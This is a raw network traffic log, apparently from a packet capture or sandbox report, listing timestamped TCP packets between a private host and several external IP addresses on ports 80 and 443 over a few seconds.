Nov 24, 2024 10:24:19.212466955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.212512970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.212559938 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.212610960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.212728977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.212773085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.212836027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.212882996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.215302944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.215322971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.215348959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.215368986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.216418028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.216464996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.216617107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.216662884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.216953039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.216998100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.217129946 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.217181921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.218106031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.218151093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.218285084 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.218331099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.219255924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.219300985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.219440937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.219485998 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.220382929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.220432043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.220560074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.220607996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.221563101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.221611977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.221725941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.221767902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.222702026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.222748995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.222889900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.222934961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.223810911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.223855019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.224009991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.224054098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.224956989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.224967957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.225003004 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.226061106 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.226073027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.226109982 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.227222919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.227235079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.227267027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.228406906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.228419065 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.228450060 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.228471994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.229499102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.229546070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.229686022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.229723930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.230624914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.230637074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.230669022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.230679989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.231705904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.231718063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.231756926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.232846975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.232858896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.232893944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.234039068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.234077930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.234215975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.234261990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.234561920 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.234575033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.234606028 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.235467911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.235510111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.235558987 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.235599995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.236543894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.236588001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.236721992 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.236763954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.237653971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.237699986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.237765074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.237803936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.238826990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.238876104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.238943100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.238991022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.239923954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.239940882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.239967108 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.239975929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:20.017725945 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.033894062 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.061367035 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.061436892 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.068847895 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.068866968 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.069741011 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.069757938 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.070487022 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.070492029 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.131746054 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.166410923 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.166443110 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.166997910 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.167011023 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.179820061 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.180968046 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.180985928 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.181504965 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.181509972 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.471662998 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.474895000 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.474960089 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.481293917 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.484312057 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.484378099 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.523459911 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.523487091 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.523500919 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.523509026 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.523567915 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.523586035 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.523597002 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.523602009 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.574321032 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.578330994 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.578366995 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.578428984 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.578469992 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.646821976 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.646852016 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.646867037 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.646874905 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.667114973 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.667141914 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.667226076 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.668380022 CET	49835	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.668425083 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.668556929 CET	49835	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.673706055 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.673719883 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.674916983 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.674941063 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.675019979 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.675153017 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.675165892 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.675575972 CET	49835	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.675592899 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.716531992 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.723570108 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.723619938 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.723678112 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.758352041 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.758371115 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.758965015 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.758970976 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.759057045 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.759067059 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.759077072 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.759080887 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.787678957 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.787713051 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:20.787795067 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.787925959 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:20.787949085 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:21.282541990 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:21.285597086 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:21.285737038 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:21.285762072 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:21.285778999 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:21.285818100 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:21.285824060 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:21.288928032 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:21.288969040 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:21.289045095 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:21.289264917 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:21.289283991 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:21.637166023 CET	49807	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:21.637479067 CET	49839	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:21.757031918 CET	80	49839	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:21.757257938 CET	80	49807	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:21.757293940 CET	49839	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:21.757324934 CET	49807	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:21.757484913 CET	49839	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:21.878411055 CET	80	49839	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:22.518587112 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:22.626167059 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.627242088 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.628912926 CET	49835	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:22.628942966 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.629338026 CET	49835	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:22.629343987 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.629700899 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:22.629715919 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.630213022 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:22.630218983 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.631535053 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.631871939 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:22.631886005 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.632257938 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:22.632263899 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.638166904 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:22.638273954 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:22.647115946 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:22.716479063 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.719041109 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:22.719052076 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.719536066 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:22.719542027 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:22.766748905 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:23.067586899 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.072468996 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.073693037 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.074069023 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.077892065 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.078638077 CET	49835	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.078882933 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.078917980 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.078933954 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.078984022 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.079341888 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.079397917 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.079411983 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.079478979 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.080607891 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.118896008 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.129616022 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.129621983 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.130481005 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.130486965 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.130887985 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.130914927 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.130928993 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.130935907 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.132379055 CET	49835	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.132399082 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.132410049 CET	49835	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.132415056 CET	443	49835	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.133083105 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.133091927 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.133094072 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.133097887 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.137394905 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.137413025 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.137470961 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.137690067 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.137700081 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.145343065 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.145375013 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.145522118 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.145852089 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.145864964 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.147528887 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.147537947 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.147697926 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.147901058 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.147911072 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.170351028 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.175714016 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.178605080 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.178992033 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.179007053 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.179023027 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.179030895 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.186667919 CET	80	49839	185.215.113.43	192.168.2.5
Nov 24, 2024 10:24:23.188743114 CET	49839	80	192.168.2.5	185.215.113.43
Nov 24, 2024 10:24:23.208596945 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.208631992 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.208717108 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.209311008 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:23.209474087 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.209486961 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.328891993 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:23.328973055 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:23.330410957 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:23.449834108 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:23.511452913 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.515114069 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.515182018 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.521549940 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.521564960 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.521575928 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.521583080 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.540435076 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.540469885 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:23.540534019 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.544354916 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:23.544374943 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.069396019 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.069427967 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.069442987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.069488049 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.069530010 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.069544077 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.069587946 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.069868088 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.069894075 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.069905996 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.069926977 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.069962978 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.069996119 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.070013046 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.070056915 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.189157963 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.189234972 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.189308882 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.193291903 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.243879080 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.278301001 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.278405905 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.278485060 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.282413960 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.282427073 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.282494068 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.288805962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.288896084 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.288969040 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.297157049 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.297226906 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.297303915 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.305552959 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.305653095 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.305721998 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.313937902 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.314106941 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.314182043 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.322329998 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.322405100 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.322598934 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.330826044 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.330840111 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.330899954 CET	49840	80	192.168.2.5	34.116.198.130
